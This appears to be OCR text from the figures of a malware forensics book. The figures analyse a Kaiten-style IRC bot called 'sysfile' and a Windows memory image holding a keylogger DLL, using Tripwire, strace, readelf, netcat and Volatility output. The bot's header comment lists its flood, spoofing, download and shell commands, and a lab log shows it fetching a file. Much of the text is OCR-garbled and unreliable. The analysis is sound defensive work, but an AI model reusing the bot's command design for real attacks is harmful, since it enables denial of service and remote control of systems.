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NOTICE %s :GET <host> <save as>
NOTICE %5 :Unable to create socket.

http://

NOTICE #s :Unable to resolve address.

NOTICE %5 :Unable to connect to http.

GET /%s HTTP/1.0

Connection: Keep-Alive

User-Agent: Mozilla/d.75 [en] (X11; U; Linux 2.2.16-3 1686)

Host: %s:80

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip

Accept-Language: en

Accept-Charset: iso-8859-1,%,utf-8

NOTICE s :Receiving file.

NOTICE s :Saved as %s

NOTICE #s :Spoofs: 3d.id.3d.3d

NOTICE #s :Spoofs: %d.3d.id.%d - %d.%d.%d.%d

NOTICE %5 :Kaiten wa goraku

NOTICE #s :NICK <nick>
NOTICE %5 :Nick cannot be larger than 9 characters.
NICK %5

NOTICE 4s :DISABLE <pass>

Disabled

MHore—
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18:57)  <Labs|1F* GET hetp://192.168.110.137/apache2- default/ior
/tnp/ior

18:57) . Receaving file.
Saved as /tnp/ior
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Note: Report is not encrypted.  <modified for brevity>
Tripwire(R) 2.3.0 Integrity Check Report

Report generated b oot
Report created on: Fri 20 Apr 2008 11:16:40 BM PDT
Database last updated on: Never

Report Summary:

Host name: MalwareLab
Host IP address: 127.0.1.1
et i i
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export PATH=/bin:/sbin:
NOTICE %5 :%s

MODE 45 -xi

JOIN 35 :%s

WHO s

PONG %5

NOTICE §s :I'm having a problem resolving my host, someone will have to SPOOFS
me manually.

PING

PRIVMSG

bash-

fxxxx

eleet

NICK %s

USER $s localhost localhost :is

ERROR

usr/bin: /ust/local/bin: fusr/sbin; s
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Parsing policy file: /

/tripwire/tu

pol

Process:

g Unix File

Performing

egrity check...
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lab@MalwareLab:/$ file /lib/tls/i686/cmov/libc.so.6
/1ib/t1s/1686/cmov/1ibc.so. 61 synbolic link to "libo-2.5.s0"
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/proc/8646/auky
/proc/8646/statn
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/proc/86as/exe
/proc/8646/smaps
/proc/8646/ater
/proc/8646/attr /current
/proc/8sas/attr/prev
/proc/8646/attx/exec
/proc/8646/attr/screate
/proc/8646/attr/keycreate
/proc/8646/attr/sockereate
/proc/8646/wchan
/proc/8646/cpuset
/proc/8646/00m_score
/proc/8646/00m_ad)
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/proc/8646/status
/proc/8646/environ
/proc/8646/cud
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lab@MalwareLab:~/Malware Repository$ ldd sysfile
Linux-gate.so.1 (0x££££2000)
Libc.so.6 => /1ib/tls/i686/cmov/libc.50.6 (0xb7dd4000)
/1ib/1d-linux.s0.2 (0xb7£26000)
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Configuration file used: Jetc/tripuire/tw.ctq
Database file used: /var/1ib/tripwire/MalwareLab. twd
Command line used: tripwire -m ¢

Rule Name: Devices & Kernel information (/proc)
severity Level: 100

Added Objects:

Added object name: /proc/8646
Added object name: /proc/8646/root

Added object name: /proc/8646/task

Added object name: /proc/8646/task/8646

Added object name: /proc/8646/task/8646/root

Added object name: /proc/B646/task/8646/cd

Added object name: /proc/8646/task/8646/£d/1

Added object name: /proc/8646/task/8646/£d/3

Added object name: /proc/8646/task/8646/£d/0

Added object name: /proc/8646/task/8646/£d/2

Added object name: /proc/8646/task/8646/£d/4

Added object name: /proc/8646/task/8646/stat

Added object name: /proc/B646/task/8646/auxy

Added object name: /proc/8646/task/8646/statm

Added object name: /proc/8646/task/B646/seccomp
Added object name: /proc/8646/task/8646/exe

Added object name: /proc/8646/task/8646/smaps

Added object name: /proc/8646/task/8646/attr

Added object name: /proc/8646/task/8646/attr/current
Added object name: /proc/8646/task/8646/attr/prev
Added object name: /proc/8646/task/8646/attr/exec
Added object name: /proc/8646/task/8646/attr/Escreate
Added object name: /proc/8646/task/8646/attr/keycreate
Added object name: /proc/8646/task/8646/attr/sockcreate
Added object name: /proc/8646/task/8646/wchan

Added object name: /proc/8646/task/8646/cpuset

Added object name: /proc/8646/task/8646/oom_score
Added object name: /proc/8646/task/8646/com_adj
Added object name: /proc/8646/task/8646/mem

Added object name: /proc/8646/task/8646/maps

Added object name: /proc/8646/task/8646/status

Added object name: /proc/8646/task/8646/environ
Added object name: /proc/8646/task/8646/cud

Added object name: /proc/8646/task/8646/mounts

Added object name: /proc/8646/task/8646/cndline
SAded abdest ikl PToron/BElEIvA
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lab@MalwareLab:~/Malware Repository$ 1ldd -v sysfile
Llinux-gate.so.1 => (Oxf£££e000)
Libc.s0.6 => /1ib/tls/1686/cmov/libc.s0.6 (0xbTe5e000)
/1ib/1d-1inux.s0.2 (0xb7£b0000)

Veraion: inforaations
Isystile:
1ibc.50.6 (GLIBC 2.1) =
Libe.50.6 (GLIBC_2.0)
/1ib/t18/1686/crov/Libe. so. 6:
1d-1inux.s0.2 (GLIBC_PRIVATS) => /Lib/ld-linux.so.2
1d-1inux.s0.2 (GLIBC_2.3) => /1ib/1d-linux.s0.2
Ld-limux.s.2 (GLIEC 2.1) => /1ib/ld-linux.so.2

/1ib/t1s/1686/cmov/1ibe.50.6
/1ib/t1s/1686/cmov/1ibc. 50,6
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root@MalwareLab: /home/labéperl chaosreader0.94

<modified for brevity>

Chaosreader ver 0.94

opening,

sysfile2.pcap

Reading file contents,

1008 (899574/899574)
Reassembling packets,
1008 (518/847)
Creating files...
Num  Session
0009 192.168.
0006 192.168.
0007 192.168.
0004 192.168.
0005 192.168.
0023 192.168.
0014 192.168
0002 192.168.
0011 192.168.
0008 192.168.
0001 192.168.
0010 192.168.

index.html created.

(host:port host:port)
110.130:36355,192.168.110.
110.130:51862,192.168.110.
110.130:36354,192.168.110.
110.130:41028,192.168.110.
110.130:54121,192.168.110.
110.130:39479,192.168.110.
+110.137:32935,192.168.110.1:53
110.137:32934,192.168.110.1:53
110.130:33770,192.168.110.1:53
110.130:33767,192.168.110.1:53
110.130:33766,192.168.110.1:53
110.130:33768,192.168.110.1:53

-i sysfilez.pcap

Service

ircd
ircd
ircd
domain
domain
domain
domain
domain
domain
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lab@MalwareLab:/$ file /1ib/tls/i686/cmov/libc-2.5.s0
/1ib/t1s/i686/cmov/1ibc-2.5.50: ELF 32-bit LSB shared object, Intel 80386,
version 1 (SYSV), for GNU/Linux 2.6.0, stripped

lab@MalwareLab:/$ 1dd /Lib/tls/i686/cmov/1ibc-2.5.50
/1ib/1d-1inux.s0.2 (0x80000000)
linux-gate.so.1 => (OxE£££e000)
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fork
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time
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free
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ioct!

atol
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recv
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sprintf
setsockopt
socket

bind

__ema_location
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Eile About

Dependencies | Path i
© libe.s0.6 fib/tls/i686/cmov;
-linux.s0.2 /lib/tls/i686/cmov.

[File /home/lab/Malware Repository/sysfile.elf loaded! 4
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labeMalwareLab:~$

8646:
08048000
08044000
08042000
67e15000
67e17000
b7e18000
67627000
b7¢29000
67225000
b762£000
b7¢31000
b7e33000
67634000
b7e3d000
b7e3£000
b7¢40000
b7£75000
b7£7€000
67£7000
b7£90000
67£92000
b7£ab000
bfb4e000
££££€000
total

bash-

208
a®
132¢
3
®
60K
8K
8K
16K
8K
8K
a®
36K
8K
a®
1260%
a®
8K
12k
8K
100%
8K
88
®
1820%

pmap 8646
r-x-- /home/1ab/Desktop/sysfile

rux--  /home/lab/Desktop/sysfile

rwx-- [ anon ]

£-x--  /1ib/1ibnss_mdnsd.s0.2

rwx--  /1ib/1ibnss_mdnsd.s0.2

r-x=-  /1ib/tls/i686/cmov/libresolv-2.5.50
zwx--  /1ib/t1s/1686/cmov/1ibresolv-2.5.50
e { anon |

r-x=-  /1ib/t1s/i686/cmov/libnss_dns-2.5.50
rux--  /1ib/tls/1686/cmov/1ibnss_dns-2.5.50
r-x-- /lib/libnss_mdnsd_minimal.so.2

rwx--  /1ib/libnss_mdns4_minimal.so.2

r-x-- /1ib/t1s/i686/cmov/libnss_files-2.5.50
rwx=-  /1ib/t1s/1686/cmov/1ibnss_files-2.5.30
rwx--= [ anon |

rex-- /1ib/tls/i686/crov/libc-2.5.50

r-x=-  /1ib/t1s/i686/cmov/1ibc-2.5.50

Eox

oy

/1ib/t1s/1686/cmov/1ibc-2.5.50
{ anon ]
[ anon |

/1ib/1d-2.5.50

/1ib/1d-2.5.50
{ stack |

[ anon |
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caspssl > http [SYN]
http > caspssl [SYN,
caspss] > http [ACK]
GET /blogfiles/ -/general/msn_messenge. jpg HTTR/1.1
http > caspss] [ACK] Seq-1 Ack=336 Win-6432 Len=0

HTTP/1.1 404 Not Found (text/htm1)

GET /blogFiles, /general/descompact_msn. jpg HTTR/1.1
HTTR/L.1 404 Not Found  (text/html)

caspss] > http [ACK] Seq=673 Ack=1118 win=64418 Len=0
http > caspss1 [FIN, ACK] Seqs=1118 Ack=673 Win=7504 Lel
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+  This is a IRC based distributed denial of service client. It connects to *

* the server specified below and accepts commands via the channel specified. B
* The syntax i *
. I<nick> <command> E
* You send this message to the channel that is defined later in this code. B

* Where <nick> is the nickname of the client (which can include wildcards) *
* and the command is the command that should be sent. For example, if you B

*+ want to tell all the clients with the nickname starting with N, to send you *

* the help message, you type in the channel: B
. inv HELP B
* That will send you a list of all the commands. You can also specify an B
* astrick alone to make all client do a specific command: B
- 1+ SH uname -a B
* There are a number of commands that can be sent to the client: *
. TSUNAMI <target> <secs> A PUSHYACK flooder B
" PAN <target> <port> <secs> = A SYN flooder B
B UDP <target> <port> <secs> An UDP flooder *
* UNKNOWN <target> <secs> Another non-spoof udp flooder -
. NICK <nick> = Changes the nick of the client B
. SERVER <server> Changes servers .
. GETSPOOFS = Gets the current spoofing .
* SPOOFS <subnet> Changes spoofing to a subnet B
* DISABLE Disables all packeting from this bot *
. ENABLE = Enables all packeting from this bot *
* KILL Kills the knight .
" GET <http address> <save as> = Downloads a file off the web .
B VERSTON = Requests version of knight B
. KILLALL Kills all current packeting *
* HELP = Displays this -
. IRC <command> Sends this command to the server -
. SH <command> Executes a command *

* Remember, all these commands must be prefixed by a ! and the nickname that
* you want the command to be sent to (can include wildcards). There are no

* spaces in between the ! and the nickname,

* the !

and there are no spaces before

- contem on efnet
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listening on [any] 80
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connect to [192.168.110.130) from (UNKNOWN) (192.168.110.138] 1044

GET /blogfiles/1/xxxxxx/general /msn_messenge.jpg HITP/1.1

inverse host lookup failed: Unknown host

Accept: */*

Abcent-Bresdlngs oeiv. ‘detlata
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192.168.110.138 - - [10/May/2008:13:00:44 -0700] “GET /blogfiles/x/xxxxxx/general/
msn_messenge.jpg HTTP/1.1” 404 331 “-" “Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.1; SVI; EmbeddedWB 14,52 from: http://www.bsalsa.com/ Embedded Web Browser
from: http://bsalsa.com/; .NET CLR 2.0.50727)"

192.168.110.138 - - [10/May/2008:13:00:44 -0700] “GET /blogfiles/x/xxxxxx/general/
descompact_msn.jpg HTTP/1.1” 404 333 “-” “Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SVI; EmbeddedWB 14,52 from: http://ww.bsalsa.com/ Embedded Web
http://bsalsa.con/; .NET CLR 2.0.50727)"

Browser fro






OEBPS/images/f000104gr36.jpg
2 [l Command e

b 11w s
TN <targets ssecs = Soecial

e
n

o i

Toadar
RO <target <sacs = tnother
[nedpoot iy Flamder

ot = cnangez
Tha mick of the clisne

SRR <servers = changes
Gvseoes ot
the current specfing

S0 <ainets = changas
spooting € 8 subnet

Drsia -
Ousables all packeting fron this client

Buas = Enstle
A packeting from this clions

!

e client

ety e e s
Dounloads 3 file off the b and saves it onto
Fequests versien of client

@i
ozaing






OEBPS/images/f000098gr18b.jpg
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14,52 from: http://www.bsalsa.com/ Embedded Web Browser from: http://bsalsa.com/;
-NET CLR 2.0.50727)

HOST: W, XxxxXXx . Com

Connection: Keep-Alive

192.168.110.138: inverse host lookup failed: Unknown host
connect to [192.168.110.130] from (UNKNOWN) (192.168.110.138] 1044

GET /blogfiles/1/xxxxxx/general/descompact_msn.jpg HTTR/1.1

Accept: */*
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/d4.0 (compatible; MSIE 6.0; Windows NT 5.1; SVI; EmbeddedW
14,52 from: http://www.bsalsa.com/ Embedded Web Browser from: http://bsalsa.com/s
.NET CLR 2.0.50727)

HOST: Wik XXXtk . com

Connection: Keep-Alive
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Tine exited
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18:13:16

offset.
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0X01168a18
0x01218020
0X020cA7d8
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0X09£6b6a3
0x0a10rbe8
0X0be35398

A\PTFinder>ptiinder_XpspZ.pl --nothreads FUTo-memory-z007090%.dd

o8

0x00039000
003149000
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002126000
0x00016000
0x00039000
005649000
0x05689000
002906000
004651000
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0x0638c000
006085000
007536000
00794000
0x0708£000
0x08cKD00
009897000
009816000
0x09343000
009082000
0x06272000
009539000
009121000
0096641000
009774000
003093000
0x02039000
0x0c03b0D0

Remarks

dle

05155 .0%6
Logonui.exe
anas.exe

nelix.exe
system
s6rvices.exe
savedune. xe
ad.exe
winlogon.exe
15355 .0x6
1Lompnave . exe
svchoat.exe
s¥choat . exe
svchoat.exe
svchoat.exe
SP001aV.exe
QOONSVC. EXE
skls.exe
explorer .exe
Larxtray.exe
hkend.exe
LTSHMSG. exe
tpdserv.exe
Wuauclt .exe
Tund1132.6xe
Qctray.exe
TPHKMGR . eXe&
ond.axe
alrxs.exe
sk1.exe
NENSA5 . 0K
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eXplorer.exe pla: 412
Command 1ine : C:\NINDOWS\Explorer.EXE

Base Size Path

0X1000000 DXL7000 C:\WINDOWS\Explorer .EXE
0X77£50000  Dxa9000 C:\WINDOWS\Systen32\ntdll.dll
0X77660000 Dx65000 C:\WINDOMS\3ysten32\kernel3z.dll
<cut for brevity>

0X10000000  DX14000 C+\PROGRA~1ATRANKAd\UTILIT-1\pwrmont .d11
0X73dd00an 0x£2000 C:\WINDOMS\3ysten32\NFC42.DLL
0X76400000  DXITEADD  C:\WINDOMS\Systen3z\nsi.all
0%420000 0xa000 C:\Program Files\KeyLogger\kls.dll
0X74b80000  DX82000 C:\WINDOWS\Systen3Z\printut.dll
0X73000000  0x23000 C:\WINDOWS\Sy5ten32\KINSPOOL RV
0x74360000  DX7000 C:\WINDOWS\Systen32\CRRSR3Z . d11
0x71b20000  DX11000 C:\WINDOWS\3YSten3Z\NER ALl
0X75£60000 0x6000 C:\WINDOWS\Systen32\drprov.dll
0X71¢10000 0xd000 C:\WINDOWS\Systen32\ntlanman.dll
0X75970000 0x£1000 C:\WINDOWS\3ysten32\NSGINA.A11
0X1£7b0000  DX31000 C+\WINDOWS\Systen32\ODeCs2 a1l
0x763b0000 Dx45000 C:\WINDOWS\3ysten32\comdlg3z.dll
0X11850000 0x16000 C:\WINDOWS\Jysten32\odbeint. dll
0X1af0000  Dx36000 C:\WINDONS\Systen32\1gEXpph. d11
0X1b30000  DX1d900 C+\WINDOWS\Systen3z\hcouti1s DL
0X72410000 0x19000 C:\WINDOWS\3ysten3Z\nydocs .dll

hellx.exe pid: 1204
Command 1ine : D:\helix.exe

Base size Patn
0%400000 02294000 Di\hellx.exe
0X77£50000  Dxa90a0 C1\WINDOWS\Systen32\ntdll. ALl

0X77e60000 DxeS000 C:\WINDOMS\3ysten32\kernel3z.dll
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i\volatility>k:\Pythonso\python volatility modules -£ iUlo-memory-20070909.dd

<cat for brevity>
\22\C1\WINDORS \systemi2\uini2k. oy
\22\C:\WINDONS \systemi2\uatchdog . sys
\SystenRoot!Systemd2\drivers\dxg. zys
\SystenRoot!Systemd2\drivers\dxgthk.sys
\SystenRoot!Systemd2\ialndnt5.dll
\SystenRoot! System32\ialndevs.DLL
\SystenRoot| Systemd2\ialndds . DLL
\SystenRoot|Systemd2\drivers\afd. sys
\SystenRoot! System3 2\ DRIVERS\ irda. sys
\SystenRoot) Systemd 2\ DRIVERS \ndisuio.
\SystenRoot| Systemd2\DRIVERS \mexdav . zys
\SystenRoot! Systemd2\Drivers\PacVdn 513
\SystenRoot| Systemd 2| DRIVERS
\SystenRoot|systemd2\drivers\syzaudio.ays
\SystenRoot!systemd2idrivers\winaud .sys
\22\C:\1306\SYSTEMI2\msdirectx. sys
\SystenRoot!systemd2\drivers\kmixer.sys
\SystenRoot! Systemd2\ATHFD. DLL
\SystenRoot| Systemd2\DRIVERS\ohoil394 ays
\SystenRoot! System3 2\ DRIVERS\ 1394BUS . SYS
\SystenRoot! Systemd 2\ DRIVERS\nict 394 sy=
\SystenRoot) Systemd 2\ DRIVERS\ acp1 394 .5
\SystenRoot| System32\DRIVERS\sbp2port .ay=
\SystenRoot\System32\Drivers\Pastfat.SYS

vy

0x00b£800000
0x00£0baad00
0x00b££80000
0x00£9c4e000
0x00b£9b8000
0x00b£9cd000
0x00b£9e4000
0x00£0723000
0x00£9768000
0x00£081b000
0x00£0570000
0x00£9230000
0x00£0407000
0x00£05db000
0x00£02¢0000
0x00e£ee0000
0x00e£e21000
0x00b££a0000
0x00e££d0000
0x00£05bb000
0x00£0050000
0x00e££10000
0x00e££40000
0x00efe1£000

0x1b8000
0x004000
02011000
02001000
0x015000
02017000
0x04b000
02020000
02002000
02003000
0x02b000
02002000
02051000
0x00£000
02014000
0010000
02027000
02043000
0x002000
02004000
02002000
0x002000
0200000
02024000

win32k.sys
watchdog.
axg.sys
dxgthk.sys
ialndnt5.dll
ialndevs.DLL
ialndds.DLL

afd.zys
irda.sys
ndisuio.s:

mexdav. sy
Parvdn.SYS

v.sys
sysaudio.sys
winaud. sy
medirectx.sys
kmixer.sys
ATHPD.DLL
ohcil139d.zys
1394808 .3Y8
nici3ad.sys
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922771740 Operkey  HKCU\Soltware\Classes\Divetshellx.. NOT F.
922774792 Operkey  HKCA\Dive\shelexFolderExtensions  SUCCE . Access: 04
922776985 OuewKey  HKCA\DIve\shelleFoldeiExtensions  SUCCE .. Name: \RE.
922780418 Operkey  HKCU\Software\Classes\Divelshellex.. NOT F.

322781944 Enueicle... HKCA\Dive\shelleFoldeiExtensions  SUCCE... Name: {be.
92278375 Quenkey  HKCU\Software!Classes SUCLE . Name: \RE
322786753 Operkey  HKCU\Soltware\Classes\Diivelshellex.. NOT F.
922788620 Operkey  HKCA\Dive\shelleFoldeiExtensions\. . SUCCE . Access: 0x1
922790718 QuenKey  HKCR\Diive\shelleFoldeiExtensions\... SUCCE .. Name: \RE.
22279355 Operkey  HKCU\Soltware\Classes\Diivelshellex.. NOT F.
32279685 Quealie  HKCR\DIve\shelletFolde Extensions\  SUCCE . 0420
922799110 CloseKey  HKCA\Diive\shelle\FolderExtensions\... SUCCE.

322800827 Erumerate.. HKCR\DivelshelletFoldsiExtensions  NO MO,

922002067 CloseKey  HKCA\DiveAshelletFoldeiExtensions  SUCLE.
322930908 Operkey  HKLM\SECURIT\Poley SUCEE  Access: Ox
922933388 Operkey  HKLM\SECURITY\Polcy!\SecDesc  SUCCE .. Access: Uk,
azew0s Que/alie  HKLM\SECLIRITY\Poley)SecDesc\(D.. BUFFE.
922337584 Cosckey  HKLM\SECURITY\Poic\SecDesc  SUCLE.
322940153 Operkey  HKLM\SECURITY\Polcy!\SecDesc  SUCCE . Access: Ox.
922941494 Quewalie  HKLM\SECURITY\Polcy\SecDesc\(D... SUCCE .. NONE.
322343401 Closckey  HKLM\SECIRIT\Poicy\SecDess  SUCCE.
922979259 HKLM\SECURITYPolicy SUCLE.
157990 HKCUNSessioninformation SUCLE . Access: 02
1157413578 HKCUSSessioninfomalion\ProgranCount SUCCE .. 02
TEAISI08 HKCUSessioninfomation SUCCE.
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1515 9204.. “lhass.ene 772 Reglperkey  HKLM\SECURITY\Pokcy SUCCEss
1516 9204, Thassene 772 Reglpenkey  HKLMASECURITY\Polcy\SecDesc  SUCCESS
1517 3204, Thassene 772 RegluenVaue  HLMASECURITY\Poicy\SecDesc(D... BUFFER OVERF
1518 3204 Thassene 772 RegCloseKey  HKLMASECURITY\Polcy\SecDesc  SUCCESS
1519 3204, Thassene 772 Reglpernkey  HKLMASECURITY\Polcy\SecDesc  SUCCESS
1520 3204, Thass.ene 772 RegluenVaue  HKLM\SECURITY\Polcy\SecDesc\(D... SUCCESS
1521 9204.. Thass.ene 772 RegClosekey  HKLM\SECURITY\Polcy\SecDesc  SUCCESS
152 3204.. Thass.ene 772 RegCloseKey  HKLM\SECURITY\Polcy sUCCESS
1523 9204.. Thass.ene 772 Reglperkey  HKLM\SECURITY\Polcy sUCCEss
1524 3204, Thass.ene 772 Reglperkey  HKLM\SECURITY\Polcy\SecDesc  SUCCESS
1525 3204, Thass ene 772 RegluenVaue  HKLMASECURITY\Poicy\SecDesc(D... BUFFER OVERF
152 3204.. Thassene 772 RegCloseKey  HKLM\SECURITY\Polcy\SecDesc  SUCCESS
1527 3204.. Thass ene 772 Reglperkey  HKLMASECURITY\Polcy\SecDesc  SUCCESS
1528 9204.. Thassene 772 RegluenVaue  HKLM\SECURITY\Polcy\SecDesc\(D... SUCCESS
1529 9204.. Thass.ene 772 ReCloseKey  HKLMASECURITY\Polcj\SecDesc  SUCCESS
1530 9204.. Thass.ene 772 RegCloseKey  HKLM\SECURITYAPolcy sUCCEsS
1531 9204, Tsevicesexe 760 RegErumKey  HKLM\SYSTEMACoriioSel00T\Enum  SUCCESS
1532 9204, Toevicesexs 760 Regperiey  HKLM\SYSTEMACoriiolSel00T\Enu... SUCCESS
1533 9204, Toevicesexe 760 RegErumKey  HKLM\SYSTEMACoriiolSel00T\Enu. . SUCCESS
153 9204, Toevicesexe 760 ReglperKey  HKLM\SYSTEMACoriiolSel00T\Enum. . SUCCESS
153 9204, Tsevicesexs 760 RegErumKey  HKLM\SYSTEMACoriiolSel00T\Enum... SUCCESS
153 9204, Tsevicesexe 760 ReglperKey  HKLM\System\CutentContofSet\Enun.. SUCCESS
1537 9204, Tsevicesexs 760 ReglloseKey  HKLM\SYSTEMACoriiolSel0UT\Enu. . SUCCESS
153 9204, Tsevicesexe 760 RegEnunKey  HKLM\SYSTEMACoriiolSel0UT\Enum. . NO MORE ENTF

< >

Showing 51,968 of 91,824 evens (56%)
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lab@MalwarelLab:~/Malware Repository$ eu-readelf -n sysfile

Note segment of 32 bytes at offset 0x108:
Ouner Data size Type
= 16 VERSTON
0S: Linux, ABI: 2.2.5

Lab@MalwareLab: ~/Malware Repository$ readelf -n sysfile

Notes at offset 0x00000108 with length 0x00000020:
Owner bata size Description
any 0x00000010 NT_VERSION (version)
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open (*/etc/host .conf”, O_RDONLY) 4

£stat6d (4, (st_mode=S_IFREGI0644, st_size=92, ...}) = 0

nmap? (NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,

read(d, “# The \"order\"” line is only used “
00000 23 20 54 68 65 20 22 6f 72 64 65 72
00010 e 65 20 69 73 20 6f 6e 6c 79 20 75
00020 62 79 20 6f 6c 64 20 76 65 72 73 69
00030 6f 66 20 74 68 65 20 43 20 6c 69 62
00040 2e 0a 6f 72 64 65 72 20 68 6£ 73 74
00050 e 64 0a 6d 75 6c 74 69 20 6f Ge Oa

read(d, “%, 4096) =0
close (4) -0
munmap (0xb7£8£000, 4096) 0
open (“/etc/hosts”, O_RDONLY) =4
font164(4, F_GETFD) =0
font164(4, F_SETED, FD_CLOEXEC) =0

£stat6d (4, (st_mods

_IFREGI0644, st_size=246,

read(4, “127.0.0.1\tlocalhost\n127.0.1.1\tMa". ..,
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| 00010 6f 73 74 0a 31 32 37 2e 30 2e 31 2e
| 00020 6c 77 61 72 65 4c 61 62 Oa 0a 23 20
1 00030 66 6f 6c 6c 6f 77 63 e 67 20 6c 69
| 00040 61 72 65 20 64 65 73 69 72 61 62 6c
1 00050 72 20 49 50 76 36 20 63 61 70 61 62
| 00060 6f 73 74 73 0a 3a 3a 31 20 20 20 20
| 00070 2d 6c 6f 63 61 6c 68 6f 73 74 20 69
| 00080 6f 6f 70 62 61 63 6b Oa 66 65 30 30
1 00090 69 70 36 2d 6c 6f 63 61 6c e 65 74
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0000 65 66 69 78 0a 66 66 30 32 3a 3a 31
000c0 24 61 6c 6c 6e 6f 64 65 73 Da 66 66
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00060 0a 66 66 30 32 3a 3a 33 20 69 70 36
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socket (PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
open (*/etc/resolv.conf”, O_RDONLY) 4
fstat6d(4, (st_mode=S_IFREG|0644, st_size=dd, ...}) = 0

nmap2 (NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
-1, 0) = 0xb7£8£000

read(4, “search localdomain\nnameserver 19”..., 4096) = 44
| 00000 73 65 61 72 63 68 20 6c 6f 63 61 6c 64 6f 6d 61 search 1 ocaldoma |
| 00010 69 6e 0a 6e 61 6d 65 73 65 72 76 65 72 20 31 33 in.names erver 19 |
| 00020 32 2e 31 36 38 2e 31 31 30 2e 31 Oa 2.168.11 0.1. |

read(4, *, 4096) -

close (4) -

-0

0
0
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SECTON duts
SECTION réots
SECTION o

SECTON 855
SECTION s

g
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lab@MalwareLab:~/Malware Repository$ readelf

There are 34 section headers, starting at offset Ox6%ed:

Section Headers:
[Nx] Name Type
(o] NULL
[ 1] .interp PROGBITS
[ 2] note.ABI-tag  NOTE
[ 3] ‘nash HASH
{ 4] .dynsym pysyy
[ 5] .dynstr STRTAB
[ 6] .gnu.version VERSYH
[ 7] .gnu.version r  VERNEED
{ 8] _rel.dyn REL
{ 9] irelplt REL
(10] linit PROGBITS
1] iple PROGBITS
12 ltext PROGBITS
(3] [fini PROGBITS
(14] .rodata PROGBITS
(15] _eh_frame PROGBITS
(16] .data PROGBITS
(17] .dynanic DyNAMIC
[18] lctors PROGBITS
[EEI PROGBITS
(20] PROGBITS
(21] PROGBITS
(22] NOBITS
[23] .comment PROGBITS
(24] .debug_aranges  PROGBITS
(25] .debug pubnames  PROGBITS
(26] .debug_info PROGRITS
(27) .debug_abbrev PROGBITS
[28] .debug_line PROGBITS
(29] .debug_frame PROGBITS
[30] .debug_str PROGBITS
(31] .shstriab STRTAB
(32] .symtab swnman
133] .strtab STRTAB

Key to Flags:

W (write),

A (alloc), X (execute), M (merge),
I (info), L (link order), G (group), x (unknown)
0 (extra OS processing required) o (0S specific), p (processor specific)

Adar
00000000
080480£4
08048108
08048128
080482a8
08048638
08048750
08048864
08048894
0804889¢
08048a4c
08048264
08048dd4
0804be6d
0804be80
0804c£34
0804000
0804d120
0804d1e8
0804d1£0
0804d1£8
0804d1£c
08044300
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000

ore
000000
0000£4
000108
000128
0002a8
000638
0007£0
000864
000894
00089¢
000a4c
000264
000dd4
00364
00380
004£34
005000
005120
00518
0051£0
00518
0051fc
005300
005300
005438
005490
0054b5
005eb5
005£d9
0061e8
0061£c
00686
006£34
00784

size
000000
000013
000020
000180
000390
00018
000072
000030
000008
000160
000017
000370
003090
00001b
001003
000004
000120
0000c8
000008
000008
000004
00008
000670
000132
000058
000025
000200
000124
00020d
000014
0006ba
00012b
000d50
000917

S (strings)

-section-headers sysfile

us

ot

Bl
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socket (PE_INET, SOCK_DGRAM, IPBROTO_IP) = 4
connect (4, {sa_family=AF_INET, sin_por
(“192.168.110.1) ), 28) = 0

send(4, “J\326\1\0\0\1\0\0\0\0\0\0\3vps\<domain name>\3n"..., 39,
MSG_NOSIGNAL) = 39

send(4, “J\326\1\0\0\1\0\0\0\0\0\O\3vps\<domain name>\3n"..., 39,
MSG_NOSIGNAL) = 3

tons(53), sin_add

net_addr
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comdlg32.dll
Import Lookup Table RVA: 00000000

TimeDatestany 00000000
ForwarderChain: 00000000
DLL Name RVA: 00C9F20D

Import Address Table RVA: 00C9¥2B1
Ordn Name
0 GetSaveFileNameh

shlwapi.dll
Import Lookup Table RVA: 00000000
TimeDatesStany 00000000
ForvarderChain 00000000
DLL Name RVA: 00C9F21A

Import Address Table RVA: 00COF2B9
ordn Name
0 sHAutoComplete

user3z.dil
Import Lookup Table RVA: 00000000
TimeDateStamp: 00000000
ForwarderChain. 00000000
DLL Name RVA; 00C9F226

Import Address Table RVA: 00COF2C1
Ordn Name
0 DdeCmpStringHandles
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lab@MalwareLab:~/Malware Repository$ readelf -d sysfile
Dynamic section at offset 0x5120 contains 20 entries:

Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000¢ (INIT) 0x8048adc
0x0000000d (FINI) 0x804besd
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048638
0x00000006 (SYMTAB) 0x80482a8
0x0000000a (STRSZ) 440 (bytes)
0x0000000b  (SYMENT) 16 (bytes)
0x00000015  (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804d1c
0x00000002 (PLTRELSZ) 432 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x804889¢
0x00000011 (REL) 0x8048894
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
Ox6££E£Efe (VERNEED) 0x8048864
Ox6EELEELE (VERNEEDNUM) 1
Ox6£EEEEE0 (VERSYM) 0x80487£0
0x00000000 (NULL) 0x0

(e1£sh-0.65) dyn
(SHT_DYNAMIC]

[Object systile]

[00] Name of needed library

[01] Address of init function
(02] Address of fini function

(03] Address of symbol hash table
{04] Address of dynamic string table
[05] Address of dynamic symbol table
[06] Size of string table

(07] Size of symbol table entry

{08) Debugging entry (unknown)

{09) Processor defined value

[10] Size in bytes for .rel.plt

[11] Type of reloc in ELT 00000017 {DT_PLTREL}
(12] Address of .rel.plt 0x0804889C (DT_JMPREL}
(13) Address of .rel.got section - 0x08048894 (DT_REL)

(14] Total size of .rel section - 00000008 bytes (DT_RELSZ)

[15] Size of a REL entry 00000008 bytes (DT RELENT)
[16] SUN needed version table 0%08048864 (DT_VERNEED)
(17] SUN needed version number 00000001 {DT_VERNEEDNUM)
(18] GNU version VERSYM 0x080487E0 {DT_VERSYM}

1ibc.50.6 (DT_NEEDED}

0%08048R4C (DT_INIT)
0x0804BE64 {DIFINI}

008048128 {DT_HASH}
0x08048638 {DT_STRTAB}
0x080482A8 {DT_SWMTAB}

